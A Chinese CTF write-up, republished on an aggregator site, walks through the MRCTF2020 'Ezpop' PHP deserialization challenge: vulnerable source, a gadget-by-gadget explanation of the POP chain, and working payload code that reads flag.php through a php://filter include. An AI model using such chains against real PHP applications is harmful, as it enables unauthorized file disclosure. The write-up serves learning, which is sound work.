IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [MRCTF2020]Ezpop -> 正文阅读

[PHP知识库][MRCTF2020]Ezpop

[MRCTF2020]Ezpop

这道题考察pop链,题目中还给了教程,提示的很明显。

第一次遇到这种题,虽说不是难题,但也没个了解,查了下wp,

发现写的都很难懂,解释的很牵强(感觉都出自几个大佬,所以写的很简)

索性我就自己摸索,搞了大半天终于明白了,遂在这里记录一下。


先放原码:

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

下面按新手的步骤来,先分开解读一下:

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

function append:很明显的incloud包含漏洞,可以利用来读flag

function __invoke():调用append读取flag;invoke方法在 当一个对象被当做函数调用时,调用该方法。

思路:
var=php://filter/read=convert.base64-encode/resource=flag.php

?只要invoke被回调就能读取flag,只需让一个对象被当作函数调用。

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

function __construct:通过file给source赋值;当一个对象被实例化(new)时回调

function __toString():返回str中的source;当一个对象被当做字符串调用或输出时回调

function __wakeup():过滤;在但序列化时自动回调

思路:
这三个方法看着没什么联系,但是却因为先后关系能被链起来。如果让file等于一个对象(实例化的class)

?那么在反序列化时调用的wakeup方法中,就会引起连锁反应(正则匹配会把source当成字符串)

?从而调用了tostring方法,返回str中的source

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

function __construct():将变量p变成一个数组;调用方法同前面

function __get():调用了一个函数,名字为function;访问私有属性或不存在的属性时,自动回调

思路:
提示的很明显,在get方法中,function函数被调用

?所以只要function是个对象,就会调用class Modifier中的 function __invoke(),读取flag

?要让function为对象,只需要让function __construct()中的$this->p = new Modifier();

?然后只需要 实例化class Test 且触发__get()方法 即可获得flag

?现在问题是,如何访问一个私有或不存在的属性触发get?肯定是通过还没使用的class show

?根据class show中的结果,return了一个str中的source,那么当str被赋值为一个实例化对象后

?只要该对象没有source属性,就可以触发__get()方法,而刚好Test中没有source。

?而且让 str = new Test()还能顺便实例化了Test类,同时满足了俩条件

?至此,这一条链就连起来了!

总结一下思路:

? 通过 show 的 __wakeup(),调用__toString(),调用 test 的__get(),调用 Modifier 的__invoke()

写代码:

class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
    }   //为了让file成一个对象,而不是一个数据,要调用两次
}

class Test{
    public $p;  //没法直接让p等于一个新的对象,需要通过方法来赋值
    public function __construct(){
        $this->p = new Modifier();
    }
}

$a = new Show('fanqie');  //随便赋值,为了让file有值,否则会报错警告
$a -> str = new Test();   //让str等于一个类
$b = new Show($a);        //再次调用,让file赋值成一个对象,触发__tostring(),开始pop链
echo urlencode(serialize($b));  //输出编码后的序列化字符串,带入payload就行

将得到的值通过get传入,得到base64码,解码得到flag

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-12 16:23:01  更:2021-08-12 16:24:39 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 11:28:42-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码